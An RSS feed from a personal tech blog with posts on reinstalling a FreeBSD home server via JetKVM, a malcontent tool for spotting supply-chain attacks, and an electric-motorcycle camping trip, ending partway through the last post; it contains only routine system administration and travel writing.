<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>unfinished.bike</title>
    <link>https://unfinished.bike/</link>
    <description>a compendium of half-finished projects by thomas strömberg - &lt;a rel=&#34;me&#34; href=&#34;https://triangletoot.party/@thomrstrom&#34;&gt;@thomrstrom&lt;/a&gt;</description>
    <pubDate>Sun, 19 Apr 2026 02:24:33 +0000</pubDate>
    <item>
      <title>This blog has moved!</title>
      <link>https://unfinished.bike/moved-further-content-will-be-hosted-at-choosehappy-dev-posts?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Future content will be hosted at https://choosehappy.dev/]]&gt;</description>
      <content:encoded><![CDATA[<p>Future content will be hosted at <a href="https://choosehappy.dev/">https://choosehappy.dev/</a></p>
]]></content:encoded>
      <guid>https://unfinished.bike/moved-further-content-will-be-hosted-at-choosehappy-dev-posts</guid>
      <pubDate>Sat, 12 Jul 2025 15:02:45 +0000</pubDate>
    </item>
    <item>
      <title>Reinstalling our home storage server with JetKVM</title>
      <link>https://unfinished.bike/reinstalling-our-home-storage-server-with-jetkvm?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[My home office space has been offline for the last two months due to the invasion of 20,000 honeybees. This article is not about that story.&#xA;&#xA;However, when putting everything back into its place, I knew my home storage server running FreeBSD 15-CURRENT was overdue for a wipe and reinstall: it’d been 4 houses, several years, and a handful of domain names since it was initially installed.&#xA;&#xA;One thing I hate about having a home lab is needing to crawl around to fetch a keyboard and monitor for reinstall and recovery ops. Enter the JetKVM, a nifty little device that promised to make this painful process a bit more bearable.&#xA;&#xA;Setting Up the JetKVM&#xA;&#xA;JetKVM is a tiny &amp; cheap hardware KVM-over-IP solution that lets you remotely control servers via a web browser. I’d ordered mine months ago via Kickstarter, but today was my first shot at using it.&#xA;&#xA;Getting the JetKVM ready was refreshingly straightforward:&#xA;&#xA;Connect the HDMI cable&#xA;Connect the USB-C cable&#xA;Connect Ethernet&#xA;Visit IP displayed on it’s tiny little screen with a web browser&#xA;&#xA;Once I turned the machine on, I was greeted with a familiar boot screen that we’ve seen on PC devices since the 1980’s.&#xA;&#xA;Mapping Out the Existing Storage&#xA;&#xA;I had 10TB of data on this machine to preserve, so I wanted to get a quick map of which disks were what before accidentally wiping something. If I’d been less lazy, I would have unplugged the drives with data.&#xA;&#xA;zpool status -v revealed my storage layout:&#xA;&#xA;slow: ada1 (14TB spinning disk - my bulk storage)&#xA;zroot: nda0p4 (NVMe drive confirmed via the nda(4) man page))&#xA;fast: ada0 (4TB SATA drive)&#xA;&#xA;FreeBSD&#39;s device naming is logical once you know the patterns: nda for NVMe, ada for SATA/PATA drives.&#xA;&#xA;Booting FreeBSD ISO using JetKVM Virtual Media&#xA;&#xA;From my MacBook Pro, I started to setup a bootable USB drive using this classic incantation:&#xA;&#xA;sudo diskutil list | grep external&#xA;/dev/disk4 (external, physical):&#xA;&#xA;sudo dd if=$HOME/Downloads/FreeBSD-15.0-CURRENT-amd64-20250612-e6928c33f60c-277883-mini-memstick.img of=/dev/disk4s1 bs=10240&#xA;&#xA;I used the JetKVM virtual keyboard to insert the “Del” button to enter BIOS and set the boot device order up so that it would boot off of the USB stick. But wait, what’s this “JetKVM Virtual Media” device?&#xA;&#xA;Then I noticed this curious “Virtual Media” button in the JetKVM screen - was it possible to upload a disk image to this thing and boot it up without worrying about USB sticks and dd commands? It turns out you can - what a game changer:&#xA;&#xA;Click “Virtual Media&#xA;Click “Add New Media”&#xA;Click “JetKVM Storage Mount”&#xA;Select local file, click Upload&#xA;Click “Mount File”&#xA;&#xA;One quirk I discovered for FreeBSD is that only the CD/DVD ISO image boots properly via JetKVM Virtual Media, not the memstick images.&#xA;&#xA;Navigating Installation Quirks&#xA;&#xA;It’s been nearly 30 years after my first FreeBSD installation (2.2.0), and I still find new quirks that cause me to go into menu loops. This time it did not like that my system already had a “zroot” pool defined. This was easy enough to fix by selecting the “Shell” option from the partitioning menu:&#xA;&#xA;zpool import zroot&#xA;zpool destroy zroot&#xA;&#xA;After that, the rest was smooth sailing.&#xA;&#xA;Configuring Remote Access&#xA;&#xA;The JetKVM is fine as an emergency connectivity option, but nothing beats SSH and a static IP for ease of use. I immediately dove into /etc/rc.conf and defined:&#xA;&#xA;ifconfigigb0=&#34;inet 10.9.8.7 netmask 255.255.255.0&#34;&#xA;&#xA;FreeBSD makes it easy to reconfigure interfaces based on the stored configuration:&#xA;&#xA;/etc/rc.d/netif restart&#xA;&#xA;I like configuring SSH (/etc/sshd/sshd.conf) avoid brute-force attacks from flooding the logs, as well as make them hopeless:&#xA;&#xA;Port 32022&#xA;PasswordAuthentication no&#xA;KbdInteractiveAuthentication no&#xA;PermitRootLogin yes&#xA;&#xA;Another quick service restart and SSH was ready:&#xA;&#xA;/etc/rc.d/sshd restart&#xA;&#xA;The Connectivity Plot Twist&#xA;&#xA;Here&#39;s where my smooth reinstall hit a snag. After getting everything configured, I couldn&#39;t reach GitHub:&#xA;&#xA;$ git clone https://github.com/tstromberg/commit-etc.git&#xA;Cloning into &#39;commit-etc&#39;...&#xA;fatal: unable to access &#39;https://github.com/tstromberg/commit-etc.git/&#39;: Failed to connect to github.com port 443 after 23 ms: Could not connect to server&#xA;&#xA;DNS was working fine - host github.com returned the expected results:&#xA;&#xA;$ host github.com&#xA;github.com has address 140.82.114.4&#xA;github.com mail is handled by 10 alt4.aspmx.l.google.com.&#xA;github.com mail is handled by 1 aspmx.l.google.com.&#xA;...&#xA;&#xA;But trying to actually connect revealed the issue:&#xA;&#xA;$ curl -vvv github.com&#xA; Info: Host github.com:80 was resolved.&#xA; Info: IPv4: 140.82.112.4&#xA; Info:   Trying 140.82.112.4:80...&#xA; Info: Immediate connect fail for 140.82.112.4: Network is unreachable&#xA; Info: Failed to connect to github.com port 80 after 23 ms: Could not connect to server&#xA;curl: (7) Failed to connect to github.com port 80 after 23 ms: Could not connect to server&#xA;&#xA;The culprit? I&#39;d forgotten to set the default gateway. I added defaultrouter=&#34;10.9.8.1&#34; to /etc/rc.conf and restarted routing:&#xA;&#xA;/etc/rc.d/routing restart&#xA;&#xA;I liked having the extra security blanket of the JetKVM in case I botched the networking configuration.&#xA;&#xA;Essential Tools and Services&#xA;&#xA;Once connectivity was restored, I could install my usual set of server tools:&#xA;&#xA;pkg install tmux fish git doas rsync go syncthing&#xA;&#xA;SyncThing gets special mention here as my go-to solution for keeping files synchronized across machines. It deserves it&#39;s own article, but getting it running is just:&#xA;&#xA;sysrc syncthingenable=YES&#xA;/usr/local/etc/rc.d/syncthing start&#xA;&#xA;The sysrc command is FreeBSD&#39;s clean way to modify /etc/rc.conf programmatically - less error prone than manual edits.&#xA;&#xA;Configuration Management&#xA;&#xA;I also needed to get my system configuration management back online. My approach is to keep /etc under version control with a simple script setup:&#xA;&#xA;git clone https://github.com/tstromberg/commit-etc.git&#xA;&#xA;cp commit-etc.sh $HOME/commit-etc&#xA;&#xA;$HOME/commit-etc/commit-etc.sh&#xA;&#xA;echo &#34;0 0   * $HOME/commit-etc/commit-etc.sh&#34; |crontab -e&#xA;&#xA;Now any system changes I make will be automatically translated into git commits.&#xA;&#xA;Panic!&#xA;&#xA;The FreeBSD “CURRENT” stream is considered “alpha” quality and well-known for stability issues. Even so, I was surprised to get a panic so quickly, induced by my attempt to sync terrabytes worth of data to an external drive via USB 3.0:&#xA;&#xA;The JetKVM proved its worth here too - as it made persistent out-of-band access to my server a painless affair. Otherwise, I would have had to fetch a monitor out to see the panic message.&#xA;&#xA;After some tweaks, FreeBSD 15-CURRENT is running smoothly now, with a clean ZFS setup and all my essential services back online. The combination of solid documentation (those man pages!), logical device naming, and straightforward service management makes FreeBSD a pleasure to work with, even during major system changes.]]&gt;</description>
      <content:encoded><![CDATA[<p>My home office space has been offline for the last two months due to the invasion of 20,000 honeybees. This article is not about that story.</p>

<p>However, when putting everything back into its place, I knew my home storage server running FreeBSD 15-CURRENT was overdue for a wipe and reinstall: it’d been 4 houses, several years, and a handful of domain names since it was initially installed.</p>

<p>One thing I hate about having a home lab is needing to crawl around to fetch a keyboard and monitor for reinstall and recovery ops. Enter the JetKVM, a nifty little device that promised to make this painful process a bit more bearable.</p>

<h2 id="setting-up-the-jetkvm" id="setting-up-the-jetkvm">Setting Up the JetKVM</h2>

<p><img src="https://i.snap.as/reYWlYKR.jpg" alt=""/></p>

<p>JetKVM is a tiny &amp; cheap hardware KVM-over-IP solution that lets you remotely control servers via a web browser. I’d ordered mine months ago via Kickstarter, but today was my first shot at using it.</p>

<p>Getting the JetKVM ready was refreshingly straightforward:</p>
<ul><li>Connect the HDMI cable</li>
<li>Connect the USB-C cable</li>
<li>Connect Ethernet</li>
<li>Visit IP displayed on it’s tiny little screen with a web browser</li></ul>

<p>Once I turned the machine on, I was greeted with a familiar boot screen that we’ve seen on PC devices since the 1980’s.</p>

<h2 id="mapping-out-the-existing-storage" id="mapping-out-the-existing-storage">Mapping Out the Existing Storage</h2>

<p>I had 10TB of data on this machine to preserve, so I wanted to get a quick map of which disks were what before accidentally wiping something. If I’d been less lazy, I would have unplugged the drives with data.</p>

<p><code>zpool status -v</code> revealed my storage layout:</p>
<ul><li><strong>slow</strong>: ada1 (14TB spinning disk – my bulk storage)</li>
<li><strong>zroot</strong>: nda0p4 (NVMe drive confirmed via the <a href="https://man.freebsd.org/cgi/man.cgi?nda(4)">nda(4) man page</a>)</li>
<li><strong>fast</strong>: ada0 (4TB SATA drive)</li></ul>

<p>FreeBSD&#39;s device naming is logical once you know the patterns: <code>nda</code> for NVMe, <code>ada</code> for SATA/PATA drives.</p>

<h2 id="booting-freebsd-iso-using-jetkvm-virtual-media" id="booting-freebsd-iso-using-jetkvm-virtual-media">Booting FreeBSD ISO using JetKVM Virtual Media</h2>

<p>From my MacBook Pro, I started to setup a bootable USB drive using this classic incantation:</p>

<pre><code>sudo diskutil list | grep external
/dev/disk4 (external, physical):
</code></pre>

<pre><code>sudo dd if=$HOME/Downloads/FreeBSD-15.0-CURRENT-amd64-20250612-e6928c33f60c-277883-mini-memstick.img of=/dev/disk4s1 bs=10240
</code></pre>

<p>I used the JetKVM virtual keyboard to insert the “Del” button to enter BIOS and set the boot device order up so that it would boot off of the USB stick. But wait, what’s this “JetKVM Virtual Media” device?</p>

<p><img src="https://i.snap.as/MzkNuTvW.png" alt=""/></p>

<p>Then I noticed this curious “Virtual Media” button in the JetKVM screen – was it possible to upload a disk image to this thing and boot it up without worrying about USB sticks and dd commands? It turns out you can – what a game changer:</p>
<ul><li>Click “Virtual Media</li>
<li>Click “Add New Media”</li>
<li>Click “JetKVM Storage Mount”</li>
<li>Select local file, click Upload</li>
<li>Click “Mount File”</li></ul>

<p><img src="https://i.snap.as/tptuHGa1.png" alt=""/></p>

<p>One quirk I discovered for FreeBSD is that only the CD/DVD ISO image boots properly via JetKVM Virtual Media, not the memstick images.</p>

<h2 id="navigating-installation-quirks" id="navigating-installation-quirks">Navigating Installation Quirks</h2>

<p><img src="https://i.snap.as/JZ2KuK5n.png" alt=""/></p>

<p>It’s been nearly 30 years after my first FreeBSD installation (2.2.0), and I still find new quirks that cause me to go into menu loops. This time it did not like that my system already had a “zroot” pool defined. This was easy enough to fix by selecting the “Shell” option from the partitioning menu:</p>

<pre><code>zpool import zroot
zpool destroy zroot
</code></pre>

<p>After that, the rest was smooth sailing.</p>

<p><img src="https://i.snap.as/7uQwCNof.png" alt=""/></p>

<h2 id="configuring-remote-access" id="configuring-remote-access">Configuring Remote Access</h2>

<p>The JetKVM is fine as an emergency connectivity option, but nothing beats SSH and a static IP for ease of use. I immediately dove into <code>/etc/rc.conf</code> and defined:</p>

<pre><code class="language-bash">ifconfig_igb0=&#34;inet 10.9.8.7 netmask 255.255.255.0&#34;
</code></pre>

<p>FreeBSD makes it easy to reconfigure interfaces based on the stored configuration:</p>

<pre><code class="language-bash">/etc/rc.d/netif restart
</code></pre>

<p>I like configuring SSH (<code>/etc/sshd/sshd.conf</code>) avoid brute-force attacks from flooding the logs, as well as make them hopeless:</p>

<pre><code>Port 32022
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin yes
</code></pre>

<p>Another quick service restart and SSH was ready:</p>

<pre><code class="language-bash">/etc/rc.d/sshd restart
</code></pre>

<h2 id="the-connectivity-plot-twist" id="the-connectivity-plot-twist">The Connectivity Plot Twist</h2>

<p>Here&#39;s where my smooth reinstall hit a snag. After getting everything configured, I couldn&#39;t reach GitHub:</p>

<pre><code class="language-bash">$ git clone https://github.com/tstromberg/commit-etc.git
Cloning into &#39;commit-etc&#39;...
fatal: unable to access &#39;https://github.com/tstromberg/commit-etc.git/&#39;: Failed to connect to github.com port 443 after 23 ms: Could not connect to server
</code></pre>

<p>DNS was working fine – <code>host github.com</code> returned the expected results:</p>

<pre><code class="language-bash">$ host github.com
github.com has address 140.82.114.4
github.com mail is handled by 10 alt4.aspmx.l.google.com.
github.com mail is handled by 1 aspmx.l.google.com.
...
</code></pre>

<p>But trying to actually connect revealed the issue:</p>

<pre><code class="language-bash">$ curl -vvv github.com
== Info: Host github.com:80 was resolved.
== Info: IPv4: 140.82.112.4
== Info:   Trying 140.82.112.4:80...
== Info: Immediate connect fail for 140.82.112.4: Network is unreachable
== Info: Failed to connect to github.com port 80 after 23 ms: Could not connect to server
curl: (7) Failed to connect to github.com port 80 after 23 ms: Could not connect to server
</code></pre>

<p>The culprit? I&#39;d forgotten to set the default gateway. I added <code>defaultrouter=&#34;10.9.8.1&#34;</code> to <code>/etc/rc.conf</code> and restarted routing:</p>

<pre><code class="language-bash">/etc/rc.d/routing restart
</code></pre>

<p>I liked having the extra security blanket of the JetKVM in case I botched the networking configuration.</p>

<h2 id="essential-tools-and-services" id="essential-tools-and-services">Essential Tools and Services</h2>

<p>Once connectivity was restored, I could install my usual set of server tools:</p>

<pre><code class="language-bash">pkg install tmux fish git doas rsync go syncthing
</code></pre>

<p>SyncThing gets special mention here as my go-to solution for keeping files synchronized across machines. It deserves it&#39;s own article, but getting it running is just:</p>

<pre><code class="language-bash">sysrc syncthing_enable=YES
/usr/local/etc/rc.d/syncthing start
</code></pre>

<p>The <code>sysrc</code> command is FreeBSD&#39;s clean way to modify <code>/etc/rc.conf</code> programmatically – less error prone than manual edits.</p>

<h2 id="configuration-management" id="configuration-management">Configuration Management</h2>

<p>I also needed to get my system configuration management back online. My approach is to keep <code>/etc</code> under version control with a simple script setup:</p>

<pre><code class="language-bash">git clone https://github.com/tstromberg/commit-etc.git

cp commit-etc.sh $HOME/commit-etc

$HOME/commit-etc/commit-etc.sh

echo &#34;0 0 * * * $HOME/commit-etc/commit-etc.sh&#34; |crontab -e
</code></pre>

<p>Now any system changes I make will be automatically translated into git commits.</p>

<h2 id="panic" id="panic">Panic!</h2>

<p>The FreeBSD “CURRENT” stream is considered “alpha” quality and well-known for stability issues. Even so, I was surprised to get a panic so quickly, induced by my attempt to sync terrabytes worth of data to an external drive via USB 3.0:</p>

<p><img src="https://i.snap.as/2TlmwQiF.png" alt=""/></p>

<p>The JetKVM proved its worth here too – as it made persistent out-of-band access to my server a painless affair. Otherwise, I would have had to fetch a monitor out to see the panic message.</p>

<p>After some tweaks, FreeBSD 15-CURRENT is running smoothly now, with a clean ZFS setup and all my essential services back online. The combination of solid documentation (those man pages!), logical device naming, and straightforward service management makes FreeBSD a pleasure to work with, even during major system changes.</p>
]]></content:encoded>
      <guid>https://unfinished.bike/reinstalling-our-home-storage-server-with-jetkvm</guid>
      <pubDate>Sat, 21 Jun 2025 17:45:17 +0000</pubDate>
    </item>
    <item>
      <title>Detecting the Lottie supply-chain attack with malcontent</title>
      <link>https://unfinished.bike/detecting-the-lottie-supply-chain-attack-with-malcontent?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Some of you may have heard that there was another supply-chain attack against an open-source project yesterday - this time in a Javascript library called Lottie Web Player.&#xA;&#xA;I have yet to talk much about it, but earlier this year I started an open-source project named malcontent that detects precisely this kind of attack: malicious changes in open-source software. This is very relevant to my day job at Chainguard.&#xA;&#xA;malcontent summarizes the risks and capabilities of a file and alerts when a new version substantially changes those risks and capabilities. It&#39;s easier to show you with a screenshot:&#xA;&#xA;In a nutshell:  mal diff calculated that the risk of file went from MEDIUM to CRITICAL between two revisions. In doing so, it surfaced a number of new behaviors that would catch the eye of a code reviewer. The idea here is that no tool will be able to give you a 100% reliable answer to “Is it malicious or not?” but as a code reviewer, you have the context of what functionality changes are reasonable to you for the library you are consuming.&#xA;&#xA;malcontent works on any file you might encounter in open source, from shell scripts to Linux ELF binaries to macOS machO binaries and PHP. While we’ve incorporated over 15,000 YARA rules, we&#39;re far from the same quality level as VirusTotal; so if you are handy in YARA or Go or would like to learn more about them, PRs are welcome!&#xA;&#xA;PS - malcontent can also be used as a basic malware scanner - but it isn’t yet as impressive as the “diff” mode:  mal scan /path]]&gt;</description>
      <content:encoded><![CDATA[<p>Some of you may have heard that there was <a href="https://github.com/LottieFiles/lottie-player/issues/254">another supply-chain attack against an open-source project yesterday</a> – this time in a Javascript library called <a href="https://lottiefiles.com/web-player">Lottie Web Player.</a></p>

<p>I have yet to talk much about it, but earlier this year I started an open-source project named <a href="https://github.com/chainguard-dev/malcontent">malcontent</a> that detects precisely this kind of attack: malicious changes in open-source software. This is very relevant to my day job at <a href="https://www.chainguard.dev/">Chainguard</a>.</p>

<p>malcontent summarizes the risks and capabilities of a file and alerts when a new version substantially changes those risks and capabilities. It&#39;s easier to show you with a screenshot:</p>

<p><img src="https://i.snap.as/4ywoSN73.png" alt=""/></p>

<p>In a nutshell:  <code>mal diff</code> calculated that the risk of file went from MEDIUM to CRITICAL between two revisions. In doing so, it surfaced a number of new behaviors that would catch the eye of a code reviewer. The idea here is that no tool will be able to give you a 100% reliable answer to “Is it malicious or not?” but as a code reviewer, you have the context of what functionality changes are reasonable to you for the library you are consuming.</p>

<p><a href="https://github.com/chainguard-dev/malcontent">malcontent</a> works on any file you might encounter in open source, from shell scripts to Linux ELF binaries to macOS machO binaries and PHP. While we’ve incorporated over 15,000 <a href="https://yara.readthedocs.io/en/stable/index.html">YARA rules</a>, we&#39;re far from the same quality level as VirusTotal; so if you are handy in YARA or <a href="https://go.dev/">Go</a> or would like to learn more about them, PRs are welcome!</p>

<p>PS – malcontent can also be used as a basic malware scanner – but it isn’t yet as impressive as the “diff” mode:  <code>mal scan /path</code></p>
]]></content:encoded>
      <guid>https://unfinished.bike/detecting-the-lottie-supply-chain-attack-with-malcontent</guid>
      <pubDate>Fri, 01 Nov 2024 01:36:21 +0000</pubDate>
    </item>
    <item>
      <title>Motocamping with the BMW CE 04</title>
      <link>https://unfinished.bike/motocamping-with-the-bmw-ce-04?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[This weekend, I took my funky electric BMW CE 04 camping at the edge of the Uwharrie Mountains for 3 days, covering 170 miles (270km). The trip was a breeze, so skip this post if you are looking for drama.&#xA;&#xA;!--more--&#xA;&#xA;This was an unofficial camping trip with folks from my daughter’s girl scout troop. She wanted to travel with her friends, but I still had to be prepared to take her home on the bike, so everything had to fit for the two of us:&#xA;&#xA;From a packing perspective, the most creative thing I did was tape my tools to the back of the helmet compartment in the CE 04. There is an indented area on the back wall there that is otherwise unused:&#xA;&#xA;Once that’s in, the helmet compartment still easily fits a helmet or two sleeping bags and a J1772 charger cable:&#xA;&#xA;I didn’t mind if the tent and chairs got wet, so I placed them up against the top case.&#xA;&#xA;The route I picked was setup so that I would charge twice in each direction so that I would have enough range to find a “Plan B” in case of a charging problem.  I found the chargers using PlugShare and then plugged them into BMW’s navigation software to find the twistiest route possible:&#xA;&#xA;The first river crossing was the Haw River, named after the native tribe that once occupied this area. The tribe disappeared through death and assimilation after 1715, but the place names live on in their memory. North Carolina is filled with Native American history, and even today, North Carolina has the highest number of Native American residents (122,000) this side of the Mississippi.&#xA;&#xA;The first charging stop was at Welford Harris Ford in Siler City, where a most curious and friendly manager welcomed me. He’d never seen an electric motorcycle before. I usually avoid charging at car dealerships because they have the lowest likelihood of functioning in my experience. Dealerships never seem to have more than 1 charging port, which is often deactivated, locked away, in use by a dealership car, or deemed customers only.&#xA;&#xA;Welford Harris Ford, on the other hand, is exceptionally friendly and has a great food options nearby, so you can fill your belly while you fill your battery:&#xA;&#xA;By the time I had lunch and returned to the bike, it had charged from 43% to 100%. Heading south from there toward the Deep River, I was soon welcomed by a series of abandoned barns, chicken coops &amp; textile mills. Also: rain. Not enough to slow me down too much, but enough to make me take the curves carefully as they were filled with wet fall leaves.&#xA;&#xA;At the Deep River, I encountered Coleridge, home of Enterprise Manufacturing - this cotton mill was built in the late 1800s, it’s been shuttered for the last 65 years:&#xA;&#xA;There was even 3-4 miles of quiet gravel roads to enjoy. It still blows me away how well the CE 04 handles gravel. Somehow, I feel more confident. on it in gravel than I did with my old F650GS Dakar.&#xA;&#xA;Just south of Asheboro, I stopped at the North Carolina Zoo for a free charge and a much needed bathroom break. I’m always skeptical of free chargers, as people often unnecessarily camp their cars out at them. It’s a cold &amp; rainy day, and the zoo provides more chargers (6!) than anywhere else I’ve been outside of a Tesla Supercharger, so it was no hassle.&#xA;&#xA;I went a little out of my way to check out Seagrove, the Pottery Capital of the United States. There are more working potters per capita here than anywhere else in the US. Every building in the town seemed to cater to pottery somehow.&#xA;&#xA;Heading south down via Ether Rd &amp; Okeewemee (meaning “land between two rivers”), I avoided the highway and passed farm after farm: mostly cows, but also horses and sheep. I also noticed the youth of the trees here: it seems like everything around me had been clear-cut at least once in the last 25 years.&#xA;&#xA;I soon arrived at our campground, an old farm in Troy, NC. It was gorgeous and peaceful. The host, Karl, was exceptionally welcoming and gregarious. He showed me around the expansive property, where I could charge my bike and place my tent, and welcomed me into his home. We soon had a campfire with smores.&#xA;&#xA;My new tent, the Big Agnes Tiger Wall 2 (bikepacking version) was easy to set up and did not leak any rain: it’ll cozily fit two people and their gear and packs up exceptionally small. After a good nights rest, I woke up early in the morning to take some photos of the farm:&#xA;&#xA;We made a day of going to the North Carolina Zoo in Asheboro, where I found my spirit animal, the Colorado River Toad. I had read about the psychotropic characteristics of this species as a teenager and soon referred to my peers as “toadblowers” for reasons I still don’t understand.&#xA;&#xA;The next day it was time to head home. As I had initially planned for my daughter to join me on the way home, I selected a known good route home with known-good EV charging options. She, however, decided to ride back with her friends, so I took the time to scout out some new charging options. Here’s the Blink Charger at Montgomery Ford in Troy, NC - you can charge a bike here, but they always leave a Mustang Mach-E parked here, so don’t count on charging your car:&#xA;&#xA;The nearby tiny town of Biscoe had a charger listed on PlugShare as vandalized and inoperable since July, so I dropped by to confirm that this is still the case. It’s weird to think that folks would vandalize an EV charger, but I imagine it was bored teenagers more than a nefarious group of anti-EV constituents.&#xA;&#xA;Robbins, NC, has my vote for the most charming small town in the Piedmont. It has a lovely EV  charger near a great coffee shop, walking trails, and Carolina Fried Chicken and House of Pizza (aka “Chicken Hut”) I stopped here to recharge myself and the CE 04: by the time I returned to the bike, it was at 99%.&#xA;&#xA;After Robbins, I followed River Rd for a beautiful twisty route along the Deep River. The fall leaves and gentle curves quickly instilled a sense of peace in me. The next and final planned stop was the charger at the Goldston Public Library, where I arrived with a 53% charge.&#xA;&#xA;I was in a hurry to get home and made the mistake of going by intuition and unplugging the bike at 68% rather than looking up how much charge I needed. I thought I only needed a 55% charge to get home from there, but it turned out to be 72% - so I made one last charging top-off at the Chatham County Agriculture &amp; Conference Center to add another 15% onto the bike before reaching home.&#xA;&#xA;Thinking back to this trip, it amazes me how many people went into making such an adventure possible: from the folks who organized the campout to the engineers who designed the EV chargers, and the people who built the roads. It’s a good reminder that behind all this amazing technology is a sea of people working together for the greater good of. the world.&#xA;&#xA;That thought fills my heart. Until next time, keep the shiny side up.]]&gt;</description>
      <content:encoded><![CDATA[<p>This weekend, I took my funky electric BMW CE 04 camping at the edge of the Uwharrie Mountains for 3 days, covering 170 miles (270km). The trip was a breeze, so skip this post if you are looking for drama.</p>

<p><img src="https://lh7-us.googleusercontent.com/Yc4TgQRC5rQVV2YpB-e8lIHSbq4_FkZjo7Xg-2fyY0HmshATmloYfWRgo8YzUqe7_QT-ERC3zHv7RIuxsE77-7bvLWAtwke7IqFhIY6p3U2Dus4xTOxT3bHMk4i8s4jySumVTFONmEmNmlnfFaI6R-g" alt=""/></p>



<p>This was an unofficial camping trip with folks from my daughter’s girl scout troop. She wanted to travel with her friends, but I still had to be prepared to take her home on the bike, so everything had to fit for the two of us:</p>

<p><img src="https://i.snap.as/muZaam1b.png" alt=""/></p>

<p>From a packing perspective, the most creative thing I did was tape my tools to the back of the helmet compartment in the CE 04. There is an indented area on the back wall there that is otherwise unused:</p>

<p><img src="https://i.snap.as/33ChGaLa.jpg" alt=""/></p>

<p>Once that’s in, the helmet compartment still easily fits a helmet or two sleeping bags and a J1772 charger cable:</p>

<p><img src="https://i.snap.as/D5GDXs36.jpg" alt=""/></p>

<p>I didn’t mind if the tent and chairs got wet, so I placed them up against the top case.</p>

<p>The route I picked was setup so that I would charge twice in each direction so that I would have enough range to find a “Plan B” in case of a charging problem.  I found the chargers using PlugShare and then plugged them into BMW’s navigation software to find the twistiest route possible:</p>

<p><img src="https://lh7-us.googleusercontent.com/8i9AKoBIXsuBJmsDurX4ryC0znXZeVc4nq0vEE7nj6Ku9K4g8yJUfKL7VnLtuo2MukyP02s2venwKyXVDKjVgNhQnzFvfMjRNVFMWjzy8e1SRFpu1ysTAEgYV2plDgYJXHFdWLWZJdUIWXhQQlGJjLA" alt=""/></p>

<p>The first river crossing was the Haw River, named after the native tribe that once occupied this area. The tribe disappeared through death and assimilation after 1715, but the place names live on in their memory. North Carolina is filled with Native American history, and even today, North Carolina has the highest number of Native American residents (122,000) this side of the Mississippi.</p>

<p><img src="https://i.snap.as/xmbebIjJ.jpg" alt=""/></p>

<p>The first charging stop was at Welford Harris Ford in Siler City, where a most curious and friendly manager welcomed me. He’d never seen an electric motorcycle before. I usually avoid charging at car dealerships because they have the lowest likelihood of functioning in my experience. Dealerships never seem to have more than 1 charging port, which is often deactivated, locked away, in use by a dealership car, or deemed customers only.</p>

<p><img src="https://i.snap.as/4M3MR8Qv.jpg" alt=""/></p>

<p>Welford Harris Ford, on the other hand, is exceptionally friendly and has a great food options nearby, so you can fill your belly while you fill your battery:</p>

<p><img src="https://i.snap.as/3V9mYXU0.jpg" alt=""/></p>

<p>By the time I had lunch and returned to the bike, it had charged from 43% to 100%. Heading south from there toward the Deep River, I was soon welcomed by a series of abandoned barns, chicken coops &amp; textile mills. Also: rain. Not enough to slow me down too much, but enough to make me take the curves carefully as they were filled with wet fall leaves.</p>

<p><img src="https://i.snap.as/Y1O6nh5j.jpg" alt=""/></p>

<p>At the Deep River, I encountered <a href="https://northcarolinahistory.org/encyclopedia/coleridge/">Coleridge, home of Enterprise Manufacturing</a> – this cotton mill was built in the late 1800s, it’s been shuttered for the last 65 years:</p>

<p><img src="https://i.snap.as/Mpk3O6mH.jpg" alt=""/></p>

<p>There was even 3-4 miles of quiet gravel roads to enjoy. It still blows me away how well the CE 04 handles gravel. Somehow, I feel more confident. on it in gravel than I did with my old F650GS Dakar.</p>

<p><img src="https://i.snap.as/W6CDwhTQ.jpg" alt=""/></p>

<p>Just south of Asheboro, I stopped at the <a href="https://www.nczoo.org/">North Carolina Zoo</a> for a free charge and a much needed bathroom break. I’m always skeptical of free chargers, as people often unnecessarily camp their cars out at them. It’s a cold &amp; rainy day, and the zoo provides more chargers (6!) than anywhere else I’ve been outside of a Tesla Supercharger, so it was no hassle.</p>

<p><img src="https://i.snap.as/GosO7sNb.jpg" alt=""/></p>

<p>I went a little out of my way to check out Seagrove, the Pottery Capital of the United States. There are more working potters per capita here than anywhere else in the US. Every building in the town seemed to cater to pottery somehow.</p>

<p><img src="https://i.snap.as/tnM4aek6.jpg" alt=""/></p>

<p>Heading south down via Ether Rd &amp; Okeewemee (meaning “land between two rivers”), I avoided the highway and passed farm after farm: mostly cows, but also horses and sheep. I also noticed the youth of the trees here: it seems like everything around me had been clear-cut at least once in the last 25 years.</p>

<p>I soon arrived at our campground, an old farm in Troy, NC. It was gorgeous and peaceful. The host, Karl, was exceptionally welcoming and gregarious. He showed me around the expansive property, where I could charge my bike and place my tent, and welcomed me into his home. We soon had a campfire with smores.</p>

<p><img src="https://i.snap.as/G2sFIzYC.jpg" alt=""/></p>

<p>My new tent, the <a href="https://www.bigagnes.com/collections/tiger-wall-ul-bikepack-solution-dye-series/products/tiger-wall-ul-2-bikepack">Big Agnes Tiger Wall 2 (bikepacking version)</a> was easy to set up and did not leak any rain: it’ll cozily fit two people and their gear and packs up exceptionally small. After a good nights rest, I woke up early in the morning to take some photos of the farm:</p>

<p><img src="https://i.snap.as/krevJcfT.jpg" alt=""/></p>

<p><img src="https://i.snap.as/xAmnfPXu.jpg" alt=""/></p>

<p><img src="https://i.snap.as/UNVOPSHU.jpg" alt=""/></p>

<p><img src="https://i.snap.as/nzcQH2Om.jpg" alt=""/></p>

<p>We made a day of going to the North Carolina Zoo in Asheboro, where I found my spirit animal, the <a href="https://en.wikipedia.org/wiki/Colorado_River_toad">Colorado River Toad</a>. I had read about the psychotropic characteristics of this species as a teenager and soon referred to my peers as “toadblowers” for reasons I still don’t understand.</p>

<p><img src="https://i.snap.as/tb0m8AiH.jpg" alt=""/></p>

<p>The next day it was time to head home. As I had initially planned for my daughter to join me on the way home, I selected a known good route home with known-good EV charging options. She, however, decided to ride back with her friends, so I took the time to scout out some new charging options. Here’s the Blink Charger at Montgomery Ford in Troy, NC – you can charge a bike here, but they always leave a Mustang Mach-E parked here, so don’t count on charging your car:</p>

<p><img src="https://i.snap.as/W1EJkKwG.jpg" alt=""/></p>

